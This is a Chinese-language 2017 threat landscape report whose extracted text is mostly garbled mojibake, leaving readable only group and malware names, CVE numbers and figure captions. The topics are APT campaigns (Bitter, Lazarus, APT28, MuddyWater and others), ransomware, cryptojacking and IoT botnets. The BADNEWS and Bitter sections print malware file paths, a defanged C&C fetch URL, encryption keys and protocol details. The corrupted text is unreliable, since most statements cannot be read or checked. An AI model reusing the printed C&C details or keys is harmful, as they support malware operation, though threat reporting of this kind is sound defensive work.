Container type῍ 1⌠ 4 Ȃ2 ᴆ ̆ ̆ Ȃ3

ᴆ ⱳȂ4 פ ⱳ ȂMFVTIN3MOMADQMJSGM2DKNRXHDAKR7WS UID̆

IP Base32 Ȃ

LHNZQWSJIFBUSTKBJ5IQGQICIMBUIBNAT5ICGQLJCJBL4BLY5J5TCVAW Container̆Ӟ Base32

Ȃ ұ IACIMAOQ Ȃ 

4. Salgorea ⅎ  

2015 ױ ѿ ᶏ ̆Һ ᴆ ₯̆ ᾥ ῒ

ҹ SalgoreaȂ2017 ᶭ ̆ ᶏ ԅ powershell Ạ ᵣ̆ᵖⱳ ῃѿ Ȃ 

2015 ̆Salgorea ᴺ Word JPG ̆ ᶏ ԅѿ֓ ΐ

ᴆ ̆ " " Ȃ Bundle.rdb ᴆ̆ ῀⌠ msiexec.exe Ȃ

Bundle.rdb ԅ Salgorea ף dllȂ 

Һ ⱳ Ҋ̔ 

ⱴ dll ῒ ₮₱ ̕ 

ȁΏȁ− ȁ҉ᴰ ᴆ̕ 

⇔ ᴆ ̕ ̕ 

ҽ Ύ ̕ Ḥ Ȃ 

2017 ̆ ױ ѿҩ powershell ̆ ₮ѿ shellcode ⇔ Ȃshellcode

ⱳ ₮ѿҩ dll ῤ ⱴ Ȃ 

 

 

图 99 ⅎ Ѓ29Є 

 

№ ̆ 2015 ף Bundle.rdb ⱳ ῃѿ Ȃ ף Ạԅ Ȃ 

 

 
图 100 ⅎ Ѓ30Є 
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图 102 ⅎ Ѓ1Є 

 

ῤ OLE ῤ ̆ ῒ ѿҩ ҹ Start_chain_1 ppsx ppt ̆

₯ ꜚ pptȂ 

 

 
图 103 ⅎ Ѓ2Є 

 

ppsx ≠ ԅ CVE-2017-0199 ̆ ꜚ ppt ̆ Ҋ ѿҩ sct

Ȃ 

 

 
图 104 ⅎ Ѓ3Є 

 

sct ᴪ PowershellҊ putty.exe ꜚⱴ Strategic_Chain.pdf̆

ҹץ ῏ ⱳȂ 
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图 105 ⅎ Ѓ4Є 

 

҉ Ԋᴆӊ ̆ ᴆ ѿ ҹ Entanglement ppsx ̆ ᶏ

ԅ CVE-2017-0199 ̆≠ ҍ ѿ ₯Ԋᴆ ᵌȂ 

ҍῒז ₯ԊᴆҌ ̆ ppsx ̆ᴪ Powershell Ҋ ѿᴍ

ҹ decoy ppt Powerpoint ⱴ Ȃ 

 

 
图 106 ⅎ Ѓ5Є 
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2. ₵Ԑᴌ BЕ 

ԋ Ҭ ₯Ԋᴆ 2018 3 ̆ Һ ≠ CVE-2017-8570 ₯̆

ῤ ᴪ ῏Ȃ 

 

 
图 107 ⅎ Ѓ6Є 

 

 
图 108 ⅎ Ѓ7Є 
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图 109 ⅎ Ѓ8Є 

 

҉ ₯ ᶏ ₯ ῃ ̆ 2ҩ Package OLE 1ҩ

Ữ OLE Ȃ 

╠ңҩ Package OLE ≠ Packager.dll └̆ ῤ ῀ ᴆ ⌠%TMP%

ҊȂ 
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 110 ⅎ Ѓ9Є 
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ѿҩ OLE ≠ CVE-2017-8570 ̆ Scriptlet Moniker׆ ⱴ sct ᴆҬ

ῤ Ȃ 

 

ⱳ ̆ ᴪ ꜚѿҩ ҹ qrat Ȃ 

3. ₵Ԑᴌ CЕ 

₃Ӎ ̆ ԅ ₃ ₯Ԋᴆ̆ ֓ ₯ԊᴆҺ ≠ CVE-2015-2545

CVE-2017-0261 ᴆ ₯Ȃ ᴆ Һ ̆ῒҬ ´

´ԊḆ ꜚ̆ҍ ᴪ ῏ Ḥ Ȃ ῏ ᴪ

BADNEWS ↓ Ȃ 

 

 
图 112 ⅎ Ѓ11Є 

 

4.1.2.2 Ӏ ᶕ ⅎ  

҉ ₃ ₯ԊᴆҬ̆Ҋ ̂ ̃ Һ QuasarRAT BADNEWSң Ȃ 

1.QuasarRAT Е  

₯Ԋᴆ A ₯Ԋᴆ BҬ̆Ҋ ̂ ̃ ҹ QuasarRATȂ 

Ḥ ᴺ Qiho 360 Ȃ 

图 111 ⅎ Ѓ10Є 

https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2015-2545
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0261
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图 113 ⅎ Ѓ12Є 

 

QuasarRAT C# Ώ̆ᵖ ⱴԅѿ Loader ף ȂLoader ף Һ

ⱳ ⱳ ̆ ⱴ QuasarRAT ȂQuasarRAT

Ȃ 

 

 
图 114 ⅎ Ѓ13Є 

 

Ḥ Ȃ 
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图 115 ⅎ Ѓ14Є 

 

Ḥ ̆ ᴪ C&C Ⱶ Ȃ ⌠ ̆ ᴆ̆Һ ̆

Ḥ ⌠ C&C Ⱶ Ȃ 

 

 
图 116 ⅎ Ѓ15Є 

 

2.BadNews Е 

₯Ԋᴆ CҬ̆ ҹ BADNEWS Ȃ 

῏ ᴪ ҈ҩ ᴆ̔ 

%PROGRAMDATA%\Microsoft\DeviceSync\VMwareCplLauncher.exe 

%PROGRAMDATA%\Microsoft\DeviceSync\vmtools.dll 

%PROGRAMDATA%\Microsoft\DeviceSync\MSBuild.exe 

ῒҬ VMwareCplLauncher.exe ҹΐ ᴆ̆vmtools.dllҹ dll̆

ԍ ⱴ BADNEWS MSBuild.exeȂ 

VMwareCplLauncher.exe ̆ᴪ ꜚⱴ vmtools.dll̆vmtools.dll ᴪ⇔ ѿҩ

ҹ BaiduUpdateTask1 ᴋⱵ ⅞̆ ᴋⱵ ⅞ ѿ№ ᴪ ѿ MSBuild.exeȂ 

MSBuild.exe ̆ᴪ Ҋ ̔ 

hxxps://raw.githubusercontent.com/husngilgit/husnahazrt/master/xml.xml 
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图 117 ⅎ Ѓ16Є 

 

₮ľ[[Ŀ ľ]]ĿҬ Base64 ұ̆ ң base64 ⌠

C&C Ȃ 

⁫Һ ҉ Ḥ ⌠ C&C Ⱶ ȂҺ ҉ Ḥ Ҋ̔ 

uuid=[UUID] #un=[ ]#cn=[ ]#on=[ ᵬ ] #lan=[IP ]#nop=#ver=1.0Ȃ

ᶏ AESⱴ ̂ ̔DD1876848203D9E10ABCEEC07282FF37̃+base64 ⌠

//e3e7e71a0b28b5e96cc492e636722f73//4sVKAOvu3D//ABDYot0NxyG.php 

ᶏ base64 Ẓ ᵝ ῀Ŀ=Ŀ Ŀ&Ŀ Ȃ 

 

 
图 118 ⅎ Ѓ17Є 

 

ꜚ ᴆ↓  

̂.xls̆.xlsx̆.doc̆.docx̆.ppt̆.pptx̆.pdf ̃̆ Ḡ ҹҳ Ҋ edg499.datȂ 
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图 119 ⅎ Ѓ18Є 

 

⇔ ̆ Ḥ ̆ Ḥ Ḡ ҹҳ Ҋ TPX498.datȂ  

҉ Ḡ ҹ dat ᴆ ̆ ᶏ ҉ AESⱴ +base64 Ȃᵖ

ҹ\e3e7e71a0b28b5e96cc492e636722f73\4sVKAOvu3D\UYEfgEpXAOE.php 

4.1.3  

̆Ҭ ̆ ף ₯Ȃ2017 ץ ̆

₯̆ᶏ ҍ Ḵ ̆ Ȃ 

4.1.3.1 ₵Ԑᴌ 

2017 ѿ ₯Ҭ̆ ᶏ ԅѿҩ ҹ NamesOfMaldiviansReturning-1.doc

≠ Ȃ׆ ᴆ ̆ ҹ Names Of Maldivian Returning-1̆Ӟ ף

-1Ȃ ҍ ף ῏ ̆ ҍ ῏Ȃ 

 

 
图 120 ⅎ Ѓ1Є 

 

№ ̆ ≠ CVE-2017-11882 ̆ ᴪ׆ Ҋ ҹ wp-sig

Ȃ 
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₃Ӎ ̆ ױ ԅῒ₃ז ᶏ CVE-2018-0802 ₯ ᶛȂ 

4.1.3.2 Ӏ ᶕ ⅎ  

1.Ґ ⅎ  

ⱳ Ҋ wp-sig ѿҩ Ҋ ̆Һ Ҋ ῒז ᵬ Ȃ 

 

 

图 121 ⅎ Ѓ2Є 

 

⌠ Ⱶ ҹ DWNפ ̆ᴪҊ ꜚȂ 

 

 
图 122 ⅎ Ѓ3Є 

 

2. ⅎ  

҉ Ҋ ᴪ ṜᴪҊ Bitter ȂҺ ⱳ Ҋ̔ 

̂1̃ C&C Ⱶ ₮ Ȃ 

 

 

图 123 ⅎ Ѓ4Є 

 

̂2̃ C&C Ⱶ ⌠ ̆ᴪ Һ └  Ȃפ
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图 124 ⅎ Ѓ5Є 

 

̂3̃ Һ ⱳ ҉ᴰ ↓ ̆ ȁ ȁ⇔ ᴆ̆ ҽ ↓ ̆

Ȃҍ C&C ḤӞ ԅ ⱴ Ȃ 

̂4̃ ңҩ 10 ̆ ⇔ ԅңҩ Ȃ 

1̔ C&C Ⱶ ̆ ⱳ̆ IPḠ ⌠ῃ ̆ 1Ȃ 

2̔ ̆ 1 ῃ C&C̆ Ȃ 

1̔ѿ ⱳ C&C̆ ‰ C&C ̆פ Ȃ 

 

 

图 125 ⅎ Ѓ6Є 

 

פ ̆ ᴰ C&C ̆ Ḡ ῃ Ȃ 

2̔ 10 ѿ ῃ ̆ C&C Ⱶ Ȃ 

ҍ C&C Ḥ̔ ᾢ C&C Ⱶ ᴪ ҹ 11 Ȃ 

 

 

图 126 ⅎ Ѓ7Є 

 

ῒҬ╠ 5ҩ rcqDA ұ̆ C&C̆ Ȃ ңҩ

\x0B \x00 0x000BȂῬ ң \xD2 \x0B פ 0x0BD2̆

Ȃפ ң \x00 \x00 פ 0x0BD2 Ȃ0x0BD2 ̆

0x0000Ȃ 

Bitter C&C rcqDA\xD2\x0B̆ Ȃ פ 5ҩ

ұ פ 0x0BD2 C&C Ⱶ Ȃ 
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图 127 ⅎ Ѓ8Є 

 

Bitter C&C Ḥᶏ ԅ ⱴ ̆ k%fs90*tp3!2YȂ 

 

 

图 128 ⅎ Ѓ9Є 

 

ץ Bitter ⱴ \x19\x46\x17\x37\x78\xE2\x21Ȃ 

 

 

图 129 ⅎ Ѓ10Є 

 

ӊ╠ ң 3R&y%)k!op0w* 5*dt37bz0$KeRȂ 

̂5̃Bitter ῍ 17  ̔פ

פ  ⱳ  

3000 ╠  

3001 ↓  

3002 ᴆ↓ Ḥ  

3004̆3015̆3021̆3025  

3005 ⇔ ᴆ 

3006 Ώ῀  

3007 ᴆ 

3009 ᴆ 

3012 ⇔ └  

 פ 3013

4.1.4 Lazarus  

҉ Ἕ Lazarus ѿ ΐ ⱬ ӄ ⱬȂ ׆ ѿ Ҍ

ҙ Ҍ DDoS ץ₯ ̆ ѿ ⱴ ԅ ₯ⱬ Ȃ 

№ҹ ҩ ̆ Ҋңҩ̔ 

Bluenoroff̔ѿҩҒ ԍ ₯ Ȃױז ѿ ↓ Ԋᴆ̆

ⱴ ₯Ȃ⌠ ╠ҹ ̆ Bluenoroff ҙ ₯ Ҭ

ⱳ ӊѿȂ׆ ҹꜚ ̆ ׅױ ₃ ҙȁ ῏ Ὲ ץ

ӊѿȂ 

ANDARIEL̔ѿҩҒ ԍ ᴑҙ ̆ᶏ ≢ └ ⇔ Ȃ 
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图 131 Lazarus ⅎ Ѓ2Є 

 

ꜚ Ҭ Ҭ ԅ ̆ ѿ ῒҍ Lazarus Group ῏Ȃ 

 
图 132 Lazarus ⅎ Ѓ3Є 

 

4.1.5 APT -  

2016 ∆̆ ױ № ԅľ ̂Hedwig̃Ŀ Ȃ ױ ľ Ŀ

̆Ҍ ᴰ ӈ҉ ľAPTĿ ₯ ̆ ѿҩ ҕ ῤ ꜚ ₯ ֟ҙ Ȃ

ᶏ ҍ Ⱶ ῏̆ ̆ ῏ ῏ ᴆ ̆ῒ ҹҍ

῏ ᴑҙȂ 2017 ѿ ̆ ᶭ Ȃ ₯ ҉

ׅ ץ ᴆҹҺ̆῏ Ӟ ̆ᵖῒᶏ ₯ ̆Ҍ ᶏ

Ȃ ⱴ Loader ̆ᶏ ₯ Ӟ ̆ᶏ ԅ CVE-

2017-0199̆CVE-2017-8759̆CVE-2017-11882 2017 Ȃ 
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图 133 Ņ ņ ᶕ ᴌῗ  

4.2 ₵ APT  

4.2.1 APT28  

APT28 ḇ ῏̆ ῏ ₯ ץ ⌠ 2007 ȂῒҺ

ҙȁ´ ȁ ᵣȂ ᶏ ԅ 0day ̆ ῏ ף ԅ windowsȁ

Linux PC ᵬ ̆ ᴪ IOS ꜚ ᵬ Ȃ 

ᶏ 0day ₯̆ 2017 ₯ ꜚҬᶏ 0day Ҋ₃

̔ 

1̈Microsoft Office EPŜEncapsulated PostScript̃ CVE-2017-0262Ȃ 

2̈Microsoft Windows CVE-2017-0263Ȃ 

3. Flash CVE-2017-11292Ȃ 

4.2.2 APT29  

APT29 ḤӞ ѿҩ ḇ ῏ Ȃ2017 ̆ ԅҍ ῏

HAMMERTOSS ₯ ̔ 

1̈ᶏ twitter ᵬҹ HAMMERTOSS Ȃ 

2̈HAMMERTOSSᴪ github Ҋ ̆ӊ Ῥ twitter ̆

Ȃ 

2017 ᶏ ԅ WMI ᴆ ӄ Ữ PowerShell ף

Ȃ 
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4.2.3 Turla  

Turla APT ̆Ӟ ҹ Snake Uroboros̆ ׂҹ ҹ ӊѿȂ

8 ̆ ֲ Ȃ ḇ ̆ ғ ῒ≠

ḤҬ ῃ ᵝ ꜚȂ 

2017 ≠ ԅ Microsoft Office EPS CVE-2017-0261 ₯Ȃ 

4.2.4 FIN7  

FIN7̂Ӟ ҹ Anunak Carbanak̃ ╠ҹ ҹҤ ̆

2017 ∆ ̆ ₯ Ὲ ט ҹֲ Ȃ 

FIN7 ᶏ ȁ └ ꜚ ₯Ȃѿ ̆FIN 7ᴪ

Ҭ ꜚ̆ᶏ Ȃ ӟ ԍᶏ ҍ ῀̂OLẼ ̆

Word Ҭ ῀ LNK ᴆ № ᴆȂ ₯Ҭ ľ ᴆĿ ₯ ̆

ᴆΏ῀ Ȃ 

2017 5 ̆ҍ Carbanak Gang ῏ FIN7≠ Windows Ὶ ḱ Shim ₯

├֜ ᴪ̂SEC̃̕2017 6 ̆ FIN7≠ ᴆ ₯ ‰ Ȃ 

4.2.5 Donot  

Donot ̆ ѿҩ 2017 ᾣ ̆ ֒ ̆ ₯ ҹ

Ȃ 

₯Ҭ ᶏ ԅѿ ҹ yty ̆ῒҺ ⱳ ҹ ᴆ ̆ Ȃ

ף׆ ҉ ҍ EHDevel ⇔ Donot Team ף ҹ ᵌ̆ ҹ

ᴪ ₯ ֒ Ȃ EHDevel ҹҍ ῏Ȃ 

4.2.6 Group123  

Group 123 ѿҩ ̆Ғ ᴆ ꜚȂ

₯̆ ⱲῈ ῒ ̆ ᴪᶏ 0day ₯̆

0day ₯Ԋᴆҹ≠ flash CVE-2018-4878 ₯Ȃ 

2017 ׂѿ῍ ԅ 6 ꜚȂ ₯ №ҹץҊ₃ ̆ῒҬ HWP

₯̔ 

1̈ ₯̆ HWP ᵬҹ ᴆ ᴆ̆ ≠ EPS CVE-2013-0808

shellcodĕ Ҋ ROKRAT ᴆȂ 

2̈ Hancom Hangul ᵬҹ ᵣ ₯Ȃ 

3̈≠ CVE-2017-0199 Ȃ 

4.2.7 Dark Caracal  

Dark Caracal ҹ ῃ ̂GDGS̃ Ҋ ѿҩ ̆Һ ₯Ȃ

╠ ⱳ ԅ 21ҩ҉ץ GB ̆ῒҬ ҩֲḤ

ȂῒҬ Android ԅ 60%Ȃ 

 

http://www.freebuf.com/articles/network/137612.html
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Dark Caracal ╠ ғ 90ҩ IOCҍῒ ῏̆ῒҬ 26ҩ ᴆ̆11ҩ

Android ᴆ 60ҩҊ Ⱶ C&C Ⱶ IPȂ 

Android ҉̆ ₯ ҈ ̆ Ḥ̆Facebook WhatsAppȂ

₯ ῏ ̆ᴪᶏ ̂ WhatsApp̆Signal Tor ῏ ̃ №

ᴆ PallasȂ 

҉̆Dark Caracal ᴪ ₯̆≠ ᴆ Ȃ ≠ CrossRAT

└Ȃ 

ӊ ̆ ҩ ̆ ғ ѿҩ № Android ᴆ Pallas

̂http://secureandroid.info/̃̆ ֓ ץ ̆ ҍ

ῃ ῏Ȃ 

4.2.8 MuddyWater  

ľ Ŀ̂MuddyWater̃APT ң ̆ APT Һ Ҭқ Ȃ2017 ץ

MuddyWater ԅѿ APT ₯̆Һ ῒȁ ȁ ᾥ Ȃ 

₯ ᶛҬ̆ ᶏ ̆ ᶏ ֲ

̆ Ҭ ̆ ңҩ ᴆ̆VBS ᴆ powershell ᴆ̆ powershell

̆ҍ C&C ḤȂ 

MuddyWater APT Ҭқ ׆̆ 2017 ᾣץ APT Ҍᵖ

Ả ₯̆ ⱴ ₯ Ȃ ╠ APT jsȁpowershell

Ȃ 

4.2.9 DarkHotel  

Darkhotel ѿҩ ԅ ̆ԍ 2014 11 Ὲ ѿᴍ Ҭ

ᾣȂ ∆Һ ֒ Ⱶ Ὲ ̆ ȁ ȁḇ ȁ ⱴ

ȁ ȁ ȁҬ ȁ ȁ ȁ ᾥȁ ץ֒ ȁ ◐ ȁ

ȁ Һ Ȃ ̆ Ȃ 

2017 ̆ Ῥ ױז̆₯ ᶏ ѿ ҹľInexsmarĿ ₯ ̆

ֲ ԅ ῀᷅Ȃ ₯ᶏ ᴰ └ 0-day ̆ ץ

ᴪ ҍ ῒ ᵣȂ 

₯Ҭ ᶏ ᴆҍ KONNI ₯Ҭᶏ ᴆ₃Ӎѿ ̆ ῒ ҹľ

ᴆ↓ ĺĺ2016 9 ĿȂ 
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֒ɻ ғּס ₵ שׂ  
 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

֒ɻ 

ғּס ₵ שׂ  
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2017 ץ ̆ ᴇ ѿ ̆Ῥ⌠ѿ ҇̆ ױ ԅ ₯ ₃

⌠ Ȃ ׂ ᴇ ׅ Ҍ ꜚ̆ ױ ׅ Ҍ⁞Ȃ 

ԍ יּ̆₯ ӄ̆ Ӟ יּꜚ Ԛ

Ȃ ױ ңҩҍ ׂ ≠ ℗ ₯ ѿ Ȃ 

סּ 5.1 ғ ₵ ⅎשׂ  

2017 5 יּ̆ WannaCryҍ ӊ ľ Ŀ̆ יּ ᴆ ѿ ѿ

ᴰ ̆ ꜚԅ יּ Ԛ Ȃ 

 

 
图 134 2017 סּ  

 

ҍ WannaCryҌ ̆ יּ ᴆׅᶏ ᴆ ᴰ ᴰ Ȃ ̔LockyȁCerber

ץ 2017 ҉ GlobelmposterȂ ̆ Һ ≠ ῀᷅

יּ ᶛ 2017 Ҋ ̆ RDP ̆᷅῀פ sql server ῀᷅

Ȃ῀᷅ יּ Ӟ ̆ Ⱶ יּ ᴪⱴ ̆ ҩֲҺ

יּ ᴪⱴ ᴆȂ 
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图 135 2017 סּ ⅎ  

 

2017 Ҋ ̆ ᵌӍ ԅּי ̆ ֲ ᶏҬԅּי Ӟ ѿ ԅӊ̆

ֲᴪ ט Ȃԍ ԍľ Ŀ ₯Ȃ ԅ

₯ Ҋ ₮ Ȃ 

 

 
图 136 2017  

 

҉̆ ̆

̆ ₯ ԅ ѿҩ - Ȃ Ӟ ץ ̆

Ȃ ₯ ≠ ₯̆ ₯ ԅ ѿ ̆

ԅ ̆ ₯ ⱳ ≢ֲ ῃ Ȃ 

Ҋ ץ ₮̆ ╠ ԍ ̆ῒ ҕ ̆

̆ Ȃ 
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图 137 ₵ ⅎ  

 

ᴰ ץ҉ ᴰ ҹҺȂ ҙ ̆ ꜛ̆ ῀

ԊᴆӞ Ȃ 

 

 
图 138 ₵⌐ ⅎ  

 

ᴰ ₯ Ҭ̆ľ ӊ Ŀ ҹ Ȃ 

41%

20%

12%

10%

7%

5%

2% 2% 1%

(XMR)

ҕ ̂Dash̃

ῒז

̂BTC̃

̂zec̃

̂HSR̃

ץ ̂eth̃

̂LTC ̃

̂Dogẽ

27%

17%

12%

11%

11%

9%

8%
3%

2%

≠

₯

פ

ꜛ

Ҋ
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图 141  

5.2 ῝ סּ ₵ ᶡ 

2017 ῃ ̆LockyȁCerber יּ ᴆ יּ ᴆ ´ ̆ᴰ ҹ

ᴆᴰ Ȃ 

יּ̆ ᴆ ῒז ᴰ Ȃ WannaCryȁNotPetya Badrabbit

Ṣꜛ MS17-010 ᴰ Ȃ 

יּ̆ ȁ ȁ ᴆ ӟ Ȃ 

ғ ‰Ὲ ҉ ԅ RDP Ⱶ Ⱶ Ȃ≠ ᵌľNLBruteĿ RDP

ⱬ ΐ פ ҽȂѿ Ҭ Ḃ ᴍ ̆ ᶏ ԅӞ

Ῥ ῀᷅ Һ Ȃӊ ᴪҊ ᴆ̆῏ ῃ ᴆȂ

Ṝ̆ ᴪᶏ ᵌ ῤ Ȃ 

῀᷅ ⱳ ̆ ₯ ᴪ῏ Ⱶ̆ יּꜚ ᴆ ⱴ ̆ − ᴍ ᴆ

ט ’Ҋ Ȃ 

יּ ᴆ ₯ Ҍ ԍ windows ̆ ╠ ȁIoT ̂sambacrỹȁ

linux ȁmac ȁandroid ᵈ₮ Ȃ 

5.2.1 ⌐ סּ ᴌᴶ  

סּ.1 ᴌᶕ ⌐ Ί ᴶ  

2017 ̆ѿ ҹ GandCrab יּ ᴆṢꜛ RIG EK ץ GrandSoft EK ң ≠ ΐ

̂exploit kit̃ ᴰ Ȃ 

GrandCrab ᶏ Bitcoin ̆ט ⌠ԅ ᵞ ѿ ⱴ

̔Dasĥ ҕ ̃Ȃ ₯ ץ ֜ BTC ⱴᴨ

ⱴ Ȃ 

ⱴ ӊ ̆GandCrab ᴪ ᴆ ⱴ҉.GDCB Ȃ GandCrab ⱴ ҉

ᴆӊ ̆ ҉ᴪ₮ ѿҩ ҹ GDCB-DECRYPT.txt ᴆȂGDCB-DECRYPT.txt ᴆῤ ᴪ  

 

 

88%

6%

2%2%
1%1%

coinhive

DeepMiner

Crypto-Loot

CoinImp

JSEcoin

Minr
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╠ ҉ ᴆ ⱴ ̆ ғ ᶫԅѿᴍ ῏↓ ץ Tor ט

Ȃ 

2.⌐ Ņ Ӑ ņ סּ ᴌᴶ  

ᶛ WannaCry̆Petya Ҭ ̆ҌῬẠ Ȃ 

5.2.2 ⌐ ₵ᴶ סּ ᴌ 

ľBadRabbitĿ ₯ᴰ יּ ᴆ̆ ᴺ Flash Player ῀

⌠ ̆ Ȃѿ ⱳ̆ ᴪ Ҭ ᴆ ⱴ ̆ MBRȂ

ᴪ ῍֣ᴰ ̆ ғᴪᶏ ̂EternalRomancẽ ΐ ᴰ

Ȃ 

ҍ Petya ᵌ̆BadRabbit Ӟ Ӌᾥῌ יּ ₯̆ ₯

₯ ⱳ ̆ᴪ SMB ῤ ᴰ ̆ ѿ ῤ Ҭ Ȃ 

5.2.3 ⌐ ₵ᴶ סּ ᴌ 

≠ ᴆᴰ ѿ יּ ᴆᴰ ̆2017 ׅ Ȃ 

1.ŅGlobeImposterņּס ᴌῘ Ї ᶡ 

ľGlobelmposterĿ ץ ҉ 2017 ᴆᴰ יּ ᴆҬ Ȃ יּ ᴆ

̆ᴪ PC ҉ ᴆ̂ ᴆ̃ ⱴ ̆ ⱴ ᴆ Ȃ

Read_ME.html ᴆ̆ Ȃ ֓ Read_ME.html ᴆᵝԍ ⱴ ҩ ᴆ ̆ ῏ ᵥ

Ḥ ט ̆ ᴆ Ȃ ╠ ľGlobeImposterĿּי ᴆ Ȃ 

2017 Ҋ ̆ Ⱶ GlobeImposterּי ᶛҌ ҽ̆ῒҺ ԍ Ⱶ

ῃ Ȃ ≠ Ⱶ Ⱶ ̂RDP̆SSH ̃̆ ῃ ̂SMB

̆Struts2 ̃ ῀ Ⱶ יּ῀ ᴆȂ 

2.ŅLockyņ ŅlukitusŅ ᴗԐҟ ᵣ ₵ 

2017 ױ ⌠ Locky יּ ₯ׅҺ ᴆᴰ Ȃ ᴆ ᴆ ѿҩ ̆

Ҭ ѿҩ ҹ fax[ ].js ᴆ̆ ᴪҊ Locky יּ

Ȃ 

Locky ҍӊ╠ ᵌ̆ᵖ URL [

]/checkupdate ҹԅ[ ]/imageload.cgiȂ 

5.3 ῝ ₵ ᶡ 

2017 Ҋ ץ ̆ ԍּי ₯̆ ԍ ⱴ Ȃ 

PC Windows ȁLinux ȁMac ꜚ Android ₮

ԅҌ Ȃ ῀ Ӟ ̆

 

�¤�;	z	z�È

 

��È
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5.3.1 ⌐ ₵ 

1. U ᴶ  

2017 ̆ľ Ŀף҈ ̂CVE-2017-8464̃ ᾣȂ ╠ ᶏ ᵌ̆

₯ ȁ ῏ ̆ ᴑ ᵝ ῤ ῃ Ȃ ₯

῀ U ꜚ ỮҬ̆ ף҈ ̆Ṣ ῀᷅ ῤ Һ Ȃ 

2. Ӑ ᴶ WannaMiner 

2017 ̆ѿҩ ҹ WannaMiner Ṣꜛľ ӊ Ŀ ᴰ Ȃ ῤ ԅ

ῤ Һ ̆ ῤ ̆ ѿҩ ὅ ̆ ᴰ ῒזҺ Ȃ

WannaMiner ᴰ ѿҩ Ҭ̆ ⱳ Ȃ

ᴪ ̆ Ȃ 

3.Ὅ MykingsЇ⌐ Ӑ Ὅ ɼ 

WannaMinerӊ ̆2017 Ҭ ѿҩ ≠ ӊ ᴰ ὅ -

MykingsȂ 

 

 
图 142 Ὅ Mikings ᴶ  

 

4.⌐ ү WebLogic ꜠ ₵ 

2017 10 ̆₮ ԅ ≠ WebLogic ҩ ↓ ₯ ₯ ᶛȂ ῏

₯ ᶛҬ̆ Ҭᶏ ԅ ҩ WebLogic ̆ ̔CVE-2017-3248̆CVE-2017-10271̆CVE-2017-

3506̆CVE-2017-10352 Ȃ 

ᶏ ָӇ ̆ ≠ ⱳ ̆ ᴪ Ҋ ̆ ᴪҊ

̆ ⱴ ̆ Ȃ 

5. PHP Weathermap  

Linux Ⱶ ᶛҬ̆ ᶏ ԅ PHP Network Weathermap ̂CVE-2013-

L
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̂2̃ chmod ԇ  

̂3̃  

5.3.2 ⌐ Web ꜙЃ Є ₵ 

2017 9 ̆ѿ Ὲ ₮ԅ Coinhive ȂCoinhive JavaScript Ώ

ѿ ף ̆ᴋᵥ ץ ῒ ױז⌠῀ ҬȂ ҹԅ

ᶫѿ ῀ Ȃᵖ ₃ ӊ ̆ ῏ ᴰ ⌠ԅ Ҋ

Ҭ̆ ׂ ҹ ľ Ŀ Ȃ 

ԅ Coinhive ̆ ╠ ₮ DeepMiner̆Crypto-Loot̆CoinImp̆

JSEcoin̆Minr̆ProjectPoĭPapotŏCoinNebulăAFMiner̆Coinerra Ȃ ԍ Coinhive Ḃ≠

̆ᶏῒ ҹ Һ Ȃ 

ῤ JS ̆῏ ḂẢ ꜚȂ

ᵖ 2017 ₮ ԅѿ ῏ ׅ Ȃ ԍ̆

῏ ԅ̆ᵖׅ ᴋⱵ Ȃ ҩ ҩ №

̆ᶏ ᴋⱵ Ȃ 

5.3.3 ꜠ ₵ 

2017 ̆ ᾣԅ ≠ Android ꜚ ᶛȂῒҺ ᶏ ᶫ

JavaScript Ȃ ԍ JavaScript ̆ΐ ῃ ̆

⌠ ̆ Ӟ ԅ≠ JavaScript ῃԊᴆ Ȃ 

5.3.4 ⌐ IoT ₵ 

2017 ₮ ԅ ҩ≠ Mirai ḱ Ȃ IoT №ל

Ȃ 
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六、IoT 设备攻击态势观察 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

῏ɻ 

IoT ₵ שׂ  
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₃ ץ̆ IoT ҹ ₯Ԋᴆ ₮Ҍ ̆ MiraiȁHajimeȁIoTroop ̆

ῒ ԍ IoT Ȃ ῒ῏ ҉ ̆ ׆

̆פ ᵞ ̆⌠ IoT ₯ ̆ ׆ 2017

IoT ҉ ץ ₮Ȃ 

̆ ױ ׆ IoT ’ȁ ≠ ’ȁץ ≠ ֓ IoT ὅ

2017 IoT ҳ ל № Ȃ 

6.1 IoT ᵩ ⅎשׂ  

╠ IoT Ὲ ’ ̆ ’ ҹҤ ̆ ῤ

҉ ҆ ̆ Ӟ ҉ ҆ ≢Ȃ 

 

 
图 143 IoT ῎ ‟Ѓ Є 

 

Ҭ̆ץ ҹ Ȃ 

 
图 144 IoT ῎ ‟Ѓ Є 

 

71%

14%

4%

4%
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ҹ
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Ҋ ҹׂ ≠ IoT ₯ ᶛ Ȃ 

 

 
图 145 IoT ₵  

 

IoTὅ IoT ₯ Ҭ̆ ≠ פ ׅҹҺ ῀᷅ Ȃ 

 

 
图 146 IoT Ὅ ᶕ ₵  

 

2017 ὅ №≢ҹ̔ץ Ἕ ̆ ҹҺ Miraiὅ ̆

ץ ҹ Gafgyt̆ץ ҹ ҹ Satori Brickerbot̆ץ ῤ ҩ

IoTroopȂ 
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图 147 2017 IoT Ὅ ⅎ  

 

VenusEye Ҭ ̆2017 ̆ῃ ῤ Mirai ῒ ὅ

Ҭ ̂21.89%̃̆ῒ ̂8.20%̃̆ ̂8.16%̃̆ ̂7.73%̃ ̂7.53%̃̆

ᵣ№ Ҋ̔ 

 
图 148 2017 Ὴ Mirai Ὶ ‟ⅎ  

 

ῤ Mirai ῒ ὅ Һ ҹ ̂18.91%̃̆ῒ қ

̂12.35%̃̆ ̂9.62%̃̆ ̂7.77%̃̆ ̂4.56%̃̆ ᵣ№ Ҋ̔ 

38%
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图 149 2017 Ὺ Mirai Ὶ ‟ⅎ  

6.2 ῝ IoT ῊԐᴌ 

Ҋ 2017 ץ IoT ₃ ῖ ῃԊᴆ № Ȃ 

6.2.1 Mirai ꜗ  

ᵬҹ ὅ ̆Mirai ԅ ҉҆ IoT ̆ ץ ֓ ᵬҹ

DDoS ₯̆ Һ Ȃ 

2017 ₮ Mirai ₃ҩ Ȃ ᾢ Mirai ᴰ ̆ᴰ Һ ԍ

ץ ₯ ̆ ⌠ ץ ̆ ᴪ Ḥ ⌠ C&C

